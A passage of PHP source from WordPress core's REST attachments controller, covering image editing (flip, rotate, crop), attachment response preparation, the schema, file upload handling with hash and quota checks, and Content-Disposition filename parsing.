{ $image_file_to_edit = _load_image_to_edit_path( $attachment_id ); } $image_editor = wp_get_image_editor( $image_file_to_edit ); if ( is_wp_error( $image_editor ) ) { return new WP_Error( 'rest_unknown_image_file_type', __( 'Unable to edit this image.' ), array( 'status' => 500 ) ); } // Apply any unapplied EXIF orientation so edits run in the upright frame the client previewed. $image_editor->maybe_exif_rotate(); foreach ( $modifiers as $modifier ) { $args = $modifier['args']; switch ( $modifier['type'] ) { case 'flip': /* * Flips the current image. * The vertical flip is the first argument (flip along horizontal axis), the horizontal flip is the second argument (flip along vertical axis). * See: WP_Image_Editor::flip() */ $result = $image_editor->flip( $args['flip']['vertical'], $args['flip']['horizontal'] ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_flip_failed', __( 'Unable to flip this image.' ), array( 'status' => 500 ) ); } break; case 'rotate': // Rotation direction: clockwise vs. counterclockwise. $rotate = 0 - $args['angle']; if ( 0 !== $rotate ) { $result = $image_editor->rotate( $rotate ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_rotation_failed', __( 'Unable to rotate this image.' ), array( 'status' => 500 ) ); } } break; case 'crop': $size = $image_editor->get_size(); $crop_x = (int) round( ( $size['width'] * $args['left'] ) / 100.0 ); $crop_y = (int) round( ( $size['height'] * $args['top'] ) / 100.0 ); $width = (int) round( ( $size['width'] * $args['width'] ) / 100.0 ); $height = (int) round( ( $size['height'] * $args['height'] ) / 100.0 ); if ( $size['width'] !== $width || $size['height'] !== $height ) { $result = $image_editor->crop( $crop_x, $crop_y, $width, $height ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_crop_failed', __( 'Unable to crop this image.' ), array( 'status' => 500 ) ); } } break; } } // Calculate the file name. $image_ext = pathinfo( $image_file, PATHINFO_EXTENSION ); $image_name = wp_basename( $image_file, ".{$image_ext}" ); /* * Do not append multiple `-edited` to the file name. * The user may be editing a previously edited image. */ if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) { // Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number. $image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name ); } else { // Append `-edited` before the extension. $image_name .= '-edited'; } $filename = "{$image_name}.{$image_ext}"; // Create the uploads subdirectory if needed. $uploads = wp_upload_dir(); // Make the file name unique in the (new) upload directory. $filename = wp_unique_filename( $uploads['path'], $filename ); // Save to disk. $saved = $image_editor->save( $uploads['path'] . "/$filename" ); if ( is_wp_error( $saved ) ) { return $saved; } // Grab original attachment post so we can use it to set defaults. $original_attachment_post = get_post( $attachment_id ); // Check request fields and assign default values. $new_attachment_post = $this->prepare_item_for_database( $request ); $new_attachment_post->post_mime_type = $saved['mime-type']; $new_attachment_post->guid = $uploads['url'] . "/$filename"; // Unset ID so wp_insert_attachment generates a new ID. unset( $new_attachment_post->ID ); // Set new attachment post title with fallbacks. $new_attachment_post->post_title = $new_attachment_post->post_title ?? $original_attachment_post->post_title ?? $image_name; // Set new attachment post caption (post_excerpt). $new_attachment_post->post_excerpt = $new_attachment_post->post_excerpt ?? $original_attachment_post->post_excerpt ?? ''; // Set new attachment post description (post_content) with fallbacks. $new_attachment_post->post_content = $new_attachment_post->post_content ?? $original_attachment_post->post_content ?? ''; // Set post parent if set in request, else the default of `0` (no parent). $new_attachment_post->post_parent = $new_attachment_post->post_parent ?? 0; // Insert the new attachment post. $new_attachment_id = wp_insert_attachment( wp_slash( (array) $new_attachment_post ), $saved['path'], 0, true ); if ( is_wp_error( $new_attachment_id ) ) { if ( 'db_update_error' === $new_attachment_id->get_error_code() ) { $new_attachment_id->add_data( array( 'status' => 500 ) ); } else { $new_attachment_id->add_data( array( 'status' => 400 ) ); } return $new_attachment_id; } // First, try to use the alt text from the request. If not set, copy the image alt text from the original attachment. $image_alt = isset( $request['alt_text'] ) ? sanitize_text_field( $request['alt_text'] ) : get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); if ( ! empty( $image_alt ) ) { // update_post_meta() expects slashed. update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) ); } if ( wp_is_serving_rest_request() ) { /* * Set a custom header with the attachment_id. * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. */ header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id ); } // Generate image sub-sizes and meta. $new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] ); // Copy the EXIF metadata from the original attachment if not generated for the edited image. if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) { // Merge but skip empty values. foreach ( (array) $image_meta['image_meta'] as $key => $value ) { if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) { $new_image_meta['image_meta'][ $key ] = $value; } } } // Reset orientation. At this point the image is edited and orientation is correct. if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) { $new_image_meta['image_meta']['orientation'] = 1; } // The attachment_id may change if the site is exported and imported. $new_image_meta['parent_image'] = array( 'attachment_id' => $attachment_id, // Path to the originally uploaded image file relative to the uploads directory. 'file' => _wp_relative_upload_path( $image_file ), ); /** * Filters the meta data for the new image created by editing an existing image. * * @since 5.5.0 * * @param array $new_image_meta Meta data for the new image. * @param int $new_attachment_id Attachment post ID for the new image. * @param int $attachment_id Attachment post ID for the edited (parent) image. */ $new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id ); wp_update_attachment_metadata( $new_attachment_id, $new_image_meta ); $response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) ); return $response; } /** * Prepares a single attachment for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object. */ protected function prepare_item_for_database( $request ) { $prepared_attachment = parent::prepare_item_for_database( $request ); // Attachment caption (post_excerpt internally). if ( isset( $request['caption'] ) ) { if ( is_string( $request['caption'] ) ) { $prepared_attachment->post_excerpt = $request['caption']; } elseif ( isset( $request['caption']['raw'] ) ) { $prepared_attachment->post_excerpt = $request['caption']['raw']; } } // Attachment description (post_content internally). if ( isset( $request['description'] ) ) { if ( is_string( $request['description'] ) ) { $prepared_attachment->post_content = $request['description']; } elseif ( isset( $request['description']['raw'] ) ) { $prepared_attachment->post_content = $request['description']['raw']; } } if ( isset( $request['post'] ) ) { $prepared_attachment->post_parent = (int) $request['post']; } return $prepared_attachment; } /** * Prepares a single attachment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Attachment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $response = parent::prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); /** @var array $data */ $data = $response->get_data(); if ( in_array( 'description', $fields, true ) ) { $data['description'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'the_content', $post->post_content ), ); } if ( in_array( 'caption', $fields, true ) ) { /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'the_excerpt', $caption ); $data['caption'] = array( 'raw' => $post->post_excerpt, 'rendered' => $caption, ); } if ( in_array( 'alt_text', $fields, true ) ) { $data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true ); } if ( in_array( 'media_type', $fields, true ) ) { $data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file'; } if ( in_array( 'mime_type', $fields, true ) ) { $data['mime_type'] = $post->post_mime_type; } if ( in_array( 'media_details', $fields, true ) ) { $data['media_details'] = wp_get_attachment_metadata( $post->ID ); // Ensure empty details is an empty object. if ( empty( $data['media_details'] ) ) { $data['media_details'] = new stdClass(); } elseif ( ! empty( $data['media_details']['sizes'] ) ) { foreach ( $data['media_details']['sizes'] as $size => &$size_data ) { if ( isset( $size_data['mime-type'] ) ) { $size_data['mime_type'] = $size_data['mime-type']; unset( $size_data['mime-type'] ); } // Use the same method image_downsize() does. $image_src = wp_get_attachment_image_src( $post->ID, $size ); if ( ! $image_src ) { continue; } $size_data['source_url'] = $image_src[0]; } unset( $size_data ); $full_src = wp_get_attachment_image_src( $post->ID, 'full' ); if ( ! empty( $full_src ) ) { $data['media_details']['sizes']['full'] = array( 'file' => wp_basename( $full_src[0] ), 'width' => $full_src[1], 'height' => $full_src[2], 'mime_type' => $post->post_mime_type, 'source_url' => $full_src[0], ); } } else { $data['media_details']['sizes'] = new stdClass(); } } if ( in_array( 'post', $fields, true ) ) { $data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null; } if ( in_array( 'source_url', $fields, true ) ) { $data['source_url'] = wp_get_attachment_url( $post->ID ); } if ( in_array( 'missing_image_sizes', $fields, true ) ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) ); // Handle PDFs which don't use wp_get_missing_image_subsizes(). if ( empty( $data['missing_image_sizes'] ) && 'application/pdf' === get_post_mime_type( $post ) ) { $metadata = wp_get_attachment_metadata( $post->ID, true ); if ( ! is_array( $metadata ) ) { $metadata = array(); } $metadata['sizes'] = $metadata['sizes'] ?? array(); $fallback_sizes = array( 'thumbnail', 'medium', 'large', ); // The filter might have been added by ::create_item(). remove_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); /** This filter is documented in wp-admin/includes/image.php */ $fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata ); $registered_sizes = wp_get_registered_image_subsizes(); $merged_sizes = array_keys( array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) ) ); $data['missing_image_sizes'] = array_values( array_diff( $merged_sizes, array_keys( $metadata['sizes'] ) ) ); } } if ( in_array( 'filename', $fields, true ) ) { $data['filename'] = $this->get_attachment_filename( $post->ID ); } if ( in_array( 'filesize', $fields, true ) ) { $data['filesize'] = $this->get_attachment_filesize( $post->ID ); } if ( in_array( 'exif_orientation', $fields, true ) && wp_attachment_is_image( $post ) ) { $metadata = wp_get_attachment_metadata( $post->ID, true ); // Default to 1 (no rotation needed) if orientation not set. $orientation = 1; if ( is_array( $metadata ) && isset( $metadata['image_meta']['orientation'] ) && (int) $metadata['image_meta']['orientation'] > 0 ) { $orientation = (int) $metadata['image_meta']['orientation']; } $data['exif_orientation'] = $orientation; } if ( wp_attachment_is_image( $post ) ) { $mime_type = (string) get_post_mime_type( $post ); /* * Per-file output format for images, evaluated with the real filename * and MIME type so plugins filtering image_editor_output_format can * make per-attachment decisions (e.g. JPEG -> WebP). Resolved the same * way WP_Image_Editor::set_quality() resolves the output format. */ if ( in_array( 'image_output_format', $fields, true ) ) { $filename = get_attached_file( $post->ID ); /** This filter is documented in wp-includes/media.php */ $output_formats = apply_filters( 'image_editor_output_format', array( $mime_type => $mime_type ), $filename ? $filename : '', $mime_type ); $output_mime = $output_formats[ $mime_type ] ?? $mime_type; $data['image_output_format'] = ( $output_mime !== $mime_type ) ? $output_mime : null; } /* * Per-file progressive/interlaced encoding flag for images, evaluated * against the attachment's MIME type. */ if ( in_array( 'image_save_progressive', $fields, true ) ) { /** This filter is documented in wp-includes/class-wp-image-editor-gd.php */ $data['image_save_progressive'] = (bool) apply_filters( 'image_save_progressive', false, $mime_type ); } if ( in_array( 'image_quality', $fields, true ) ) { $filename = get_attached_file( $post->ID ); /** This filter is documented in wp-includes/media.php */ $output_formats = apply_filters( 'image_editor_output_format', array( $mime_type => $mime_type ), $filename ? $filename : '', $mime_type ); $output_mime = $output_formats[ $mime_type ] ?? $mime_type; $metadata = wp_get_attachment_metadata( $post->ID, true ); $full_width = max( 0, ( is_array( $metadata ) && isset( $metadata['width'] ) ) ? (int) $metadata['width'] : 0 ); $full_height = max( 0, ( is_array( $metadata ) && isset( $metadata['height'] ) ) ? (int) $metadata['height'] : 0 ); $full_quality = wp_get_image_encode_quality( $output_mime, array( 'width' => $full_width, 'height' => $full_height, ) ); $size_quality = array(); foreach ( wp_get_registered_image_subsizes() as $size_name => $size_data ) { $quality = wp_get_image_encode_quality( $output_mime, array( 'width' => (int) $size_data['width'], 'height' => (int) $size_data['height'], ) ); // Only report sizes whose quality diverges from the full-size value. if ( $quality !== $full_quality ) { $size_quality[ $size_name ] = $quality; } } $data['image_quality'] = array( 'default' => $full_quality, 'sizes' => $size_quality, ); } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $links = $response->get_links(); // Wrap the data in a response object. $response = rest_ensure_response( $data ); foreach ( $links as $rel => $rel_links ) { foreach ( $rel_links as $link ) { $response->add_link( $rel, $link['href'], $link['attributes'] ); } } /** * Filters an attachment returned from the REST API. * * Allows modification of the attachment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original attachment post. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_attachment', $response, $post, $request ); } /** * Prepares attachment links for the request. * * @since 6.9.0 * * @param WP_Post $post Post object. * @return array Links for the given attachment. */ protected function prepare_links( $post ) { $links = parent::prepare_links( $post ); if ( ! empty( $post->post_parent ) ) { $post = get_post( $post->post_parent ); if ( ! empty( $post ) ) { $links['https://api.w.org/attached-to'] = array( 'href' => rest_url( rest_get_route_for_post( $post ) ), 'embeddable' => true, 'post_type' => $post->post_type, 'id' => $post->ID, ); } } return $links; } /** * Retrieves the attachment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema as an array. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $schema['properties']['alt_text'] = array( 'description' => __( 'Alternative text to display when attachment is not displayed.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['caption'] = array( 'description' => __( 'The attachment caption.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Caption for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML caption for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['description'] = array( 'description' => __( 'The attachment description.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Description for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML description for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $schema['properties']['media_type'] = array( 'description' => __( 'Attachment type.' ), 'type' => 'string', 'enum' => array( 'image', 'file' ), 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['mime_type'] = array( 'description' => __( 'The attachment MIME type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['media_details'] = array( 'description' => __( 'Details about the media file, specific to its type.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['post'] = array( 'description' => __( 'The ID for the associated post of the attachment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); $schema['properties']['source_url'] = array( 'description' => __( 'URL to the original attachment file.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['missing_image_sizes'] = array( 'description' => __( 'List of the missing image sizes of the attachment.' ), 'type' => 'array', 'items' => array( 'type' => 'string' ), 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['filename'] = array( 'description' => __( 'Original attachment file name.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['filesize'] = array( 'description' => __( 'Attachment file size in bytes.' ), 'type' => array( 'integer', 'null' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['exif_orientation'] = array( 'description' => __( 'EXIF orientation value. Values 1-8 follow the EXIF specification, where 1 means no rotation needed.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ); // Enumerate the registered sub-sizes so the schema documents exactly which // keys may appear under "sizes". $size_quality_properties = array(); foreach ( array_keys( wp_get_registered_image_subsizes() ) as $size_name ) { $size_quality_properties[ $size_name ] = array( 'type' => 'integer', 'minimum' => 1, 'maximum' => 100, ); } $schema['properties']['image_quality'] = array( 'description' => __( 'Encode quality (1-100) from the wp_editor_set_quality filter, resolved against the output MIME type. The "default" value applies to the full-size image; "sizes" lists per-registered-size overrides where the filtered value differs from "default".' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'default' => array( 'type' => 'integer', 'minimum' => 1, 'maximum' => 100, ), 'sizes' => array( 'type' => 'object', 'properties' => $size_quality_properties, ), ), ); $schema['properties']['image_output_format'] = array( 'description' => __( 'The output MIME type this image should be converted to, based on the image_editor_output_format filter. Null if no conversion is needed.' ), 'type' => array( 'string', 'null' ), 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['image_save_progressive'] = array( 'description' => __( 'Whether to use progressive/interlaced encoding when saving this image.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ); unset( $schema['properties']['password'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Handles an upload via raw POST data. * * @since 4.7.0 * @since 6.6.0 Added the `$time` parameter. * * @param string $data Supplied file data. * @param array $headers HTTP headers from the request. * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array{ file: non-empty-string, url: non-empty-string, type: non-empty-string }|WP_Error Data from wp_handle_sideload(). */ protected function upload_from_data( $data, $headers, $time = null ) { if ( empty( $data ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_type'] ) ) { return new WP_Error( 'rest_upload_no_content_type', __( 'No Content-Type supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_disposition'] ) ) { return new WP_Error( 'rest_upload_no_content_disposition', __( 'No Content-Disposition supplied.' ), array( 'status' => 400 ) ); } $filename = self::get_filename_from_disposition( $headers['content_disposition'] ); if ( empty( $filename ) ) { return new WP_Error( 'rest_upload_invalid_disposition', __( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ), array( 'status' => 400 ) ); } if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5( $data ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Get the content-type. $type = array_shift( $headers['content_type'] ); // Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload(). require_once ABSPATH . 'wp-admin/includes/file.php'; // Save the file. $tmpfname = wp_tempnam( $filename ); $fp = fopen( $tmpfname, 'w+' ); if ( ! $fp ) { return new WP_Error( 'rest_upload_file_error', __( 'Could not open file handle.' ), array( 'status' => 500 ) ); } fwrite( $fp, $data ); fclose( $fp ); // Now, sideload it in. $file_data = array( 'error' => null, 'tmp_name' => $tmpfname, 'name' => $filename, 'type' => $type, ); $size_check = self::check_upload_size( $file_data ); if ( is_wp_error( $size_check ) ) { return $size_check; } $overrides = array( 'test_form' => false, ); $sideloaded = wp_handle_sideload( $file_data, $overrides, $time ); if ( isset( $sideloaded['error'] ) ) { @unlink( $tmpfname ); return new WP_Error( 'rest_upload_sideload_error', $sideloaded['error'], array( 'status' => 500 ) ); } return $sideloaded; } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 4.7.0 * * @link https://tools.ietf.org/html/rfc2388 * @link https://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ public static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( ! str_contains( $value, ';' ) ) { continue; } list( , $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( ! str_contains( $part, '=' ) ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves the query params for collections of attachments. * * @since 4.7.0 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values. * * @return array Query parameters for the attachment collection as an array. */ public function get_collection_params() { $params = parent::get_collection_params(); $params['status']['default'] = 'inherit'; $params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' ); $media_types = array_keys( $this->get_media_types() ); $params['media_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular media type or media types.' ), 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => $media_types, ), ); $params['mime_type'] = array( 'default' => null, 'description' => __( 'Limit result set to attachments of a particular MIME type or MIME types.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); return $params; } /** * Handles an upload via multipart/form-data ($_FILES). * * @since 4.7.0 * @since 6.6.0 Added the `$time` parameter. * * @param array $files Data from the `$_FILES` superglobal. * @param array $headers HTTP headers from the request. * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array{ file: non-empty-string, url: non-empty-string, type: non-empty-string }|WP_Error Data from wp_handle_upload(). */ protected function upload_from_file( $files, $headers, $time = null ) { if ( empty( $files ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } // Verify hash, if given. if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5_file( $files['file']['tmp_name'] ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Pass off to WP to handle the actual upload. $overrides = array( 'test_form' => false, ); // Bypasses is_uploaded_file() when running unit tests. if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) { $overrides['action'] = 'wp_handle_mock_upload'; } $size_check = self::check_upload_size( $files['file'] ); if ( is_wp_error( $size_check ) ) { return $size_check; } // Include filesystem functions to get access to wp_handle_upload(). require_once ABSPATH . 'wp-admin/includes/file.php'; $file = wp_handle_upload( $files['file'], $overrides, $time ); if ( isset( $file['error'] ) ) { return new WP_Error( 'rest_upload_unknown_error', $file['error'], array( 'status' => 500 ) ); } return $file; } /** * Retrieves the supported media types. * * Media types are considered the MIME type category. * * @since 4.7.0 * * @return array Array of supported media types. */ protected function get_media_types() { $media_types = array(); foreach ( get_allowed_mime_types() as $mime_type ) { $parts = explode( '/', $mime_type ); if ( ! isset( $media_types[ $parts[0] ] ) ) { $media_types[ $parts[0] ] = array(); } $media_types[ $parts[0] ][] = $mime_type; } return $media_types; } /** * Determine if uploaded file exceeds space quota on multisite. * * Replicates check_upload_size(). * * @since 4.9.8 * * @param array $file $_FILES array for a given file. * @return true|WP_Error True if can upload, error for errors. */ protected function check_upload_size( $file ) { if ( ! is_multisite() ) { return true; } if ( get_site_option( 'upload_space_check_disabled' ) ) { return true; } $space_left = get_upload_space_available(); $file_size = filesize( $file['tmp_name'] ); if ( $space_left < $file_size ) { return new WP_Error( 'rest_upload_limited_space', /* translators: %s: Required disk space in kilobytes. */ sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ), array( 'status' => 400 ) ); } if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) { return new WP_Error( 'rest_upload_file_too_big', /* translators: %s: Maximum allowed file size in kilobytes. */ sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ), array( 'status' => 400 ) ); } // Include multisite admin functions to get access to upload_is_user_over_quota(). require_once ABSPATH . 'wp-admin/includes/ms.php'; if ( upload_is_user_over_quota( false ) ) { return new WP_Error( 'rest_upload_user_quota_exceeded', __( 'You have used your space quota. Please delete files before uploading.' ), array( 'status' => 400 ) ); } return true; } /** * Gets the request args for the edit item route. * * @since 5.5.0 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post. * * @return array */ protected function get_edit_media_item_args() { $args = array( 'src' => array( 'description' => __( 'URL to the edited image file.' ), 'type' => 'string', 'format' => 'uri', 'required' => true, ), // The `modifiers` param takes precedence over the older format. 'modifiers' => array( 'description' => __( 'Array of image edits.' ), 'type' => 'array', 'minItems' => 1, 'items' => array( 'description' => __( 'Image edit.' ), 'type' => 'object', 'required' => array( 'type', 'args', ), 'oneOf' => array( array( 'title' => __( 'Flip' ), 'properties' => array( 'type' => array( 'description' => __( 'Flip type.' ), 'type' => 'string', 'enum' => array( 'flip' ), ), 'args' => array( 'description' => __( 'Flip arguments.' ), 'type' => 'object', 'required' => array( 'flip', ), 'properties' => array( 'flip' => array( 'description' => __( 'Flip direction.' ), 'type' => 'object', 'required' => array( 'horizontal', 'vertical', ), 'properties' => array( 'horizontal' => array( 'description' => __( 'Whether to flip in the horizontal direction.' ), 'type' => 'boolean', ), 'vertical' => array( 'description' => __( 'Whether to flip in the vertical direction.' ), 'type' => 'boolean', ), ), ), ), ), ), ), array( 'title' => __( 'Rotation' ), 'properties' => array( 'type' => array( 'description' => __( 'Rotation type.' ), 'type' => 'string', 'enum' => array( 'rotate' ), ), 'args' => array( 'description' => __( 'Rotation arguments.' ), 'type' => 'object', 'required' => array( 'angle', ), 'properties' => array( 'angle' => array( 'description' => __( 'Angle to rotate clockwise in degrees.' ), 'type' => 'number', ), ), ), ), ), array( 'title' => __( 'Crop' ), 'properties' => array( 'type' => array( 'description' => __( 'Crop type.' ), 'type' => 'string', 'enum' => array( 'crop' ), ), 'args' => array( 'description' => __( 'Crop arguments.' ), 'type' => 'object', 'required' => array( 'left', 'top', 'width', 'height', ), 'properties' => array( 'left' => array( 'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ), 'type' => 'number', ), 'top' => array( 'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ), 'type' => 'number', ), 'width' => array( 'description' => __( 'Width of the crop as a percentage of the image width.' ), 'type' => 'number', ), 'height' => array( 'description' => __( 'Height of the crop as a percentage of the image height.' ), 'type' => 'number', ), ), ), ), ), ), ), ), 'rotation' => array( 'description' => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'integer', 'minimum' => 0, 'exclusiveMinimum' => true, 'maximum' => 360, 'exclusiveMaximum' => true, ), 'x' => array( 'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'y' => array( 'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'width' => array( 'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), 'height' => array( 'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ), 'type' => 'number', 'minimum' => 0, 'maximum' => 100, ), ); /* * Get the args based on the post schema. This calls `rest_get_endpoint_args_for_schema()`, * which also takes care of sanitization and validation. */ $update_item_args = $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ); if ( isset( $update_item_args['caption'] ) ) { $args['caption'] = $update_item_args['caption']; } if ( isset( $update_item_args['description'] ) ) { $args['description'] = $update_item_args['description']; } if ( isset( $update_item_args['title'] ) ) { $args['title'] = $update_item_args['title']; } if ( isset( $update_item_args['post'] ) ) { $args['post'] = $update_item_args['post']; } if ( isset( $update_item_args['alt_text'] ) ) { $args['alt_text'] = $update_item_args['alt_text']; } return $args; } /** * Gets the attachment's original file name. * * @since 7.0.0 * * @param int $attachment_id Attachment ID. * @return string|null Attachment file name, or null if not found. */ protected function get_attachment_filename( int $attachment_id ): ?string { $path = wp_get_original_image_path( $attachment_id ); if ( $path ) { return wp_basename( $path ); } $path = get_attached_file( $attachment_id ); if ( $path ) { return wp_basename( $path ); } return null; } /** * Gets the attachment's file size in bytes. * * @since 7.0.0 * * @param int $attachment_id 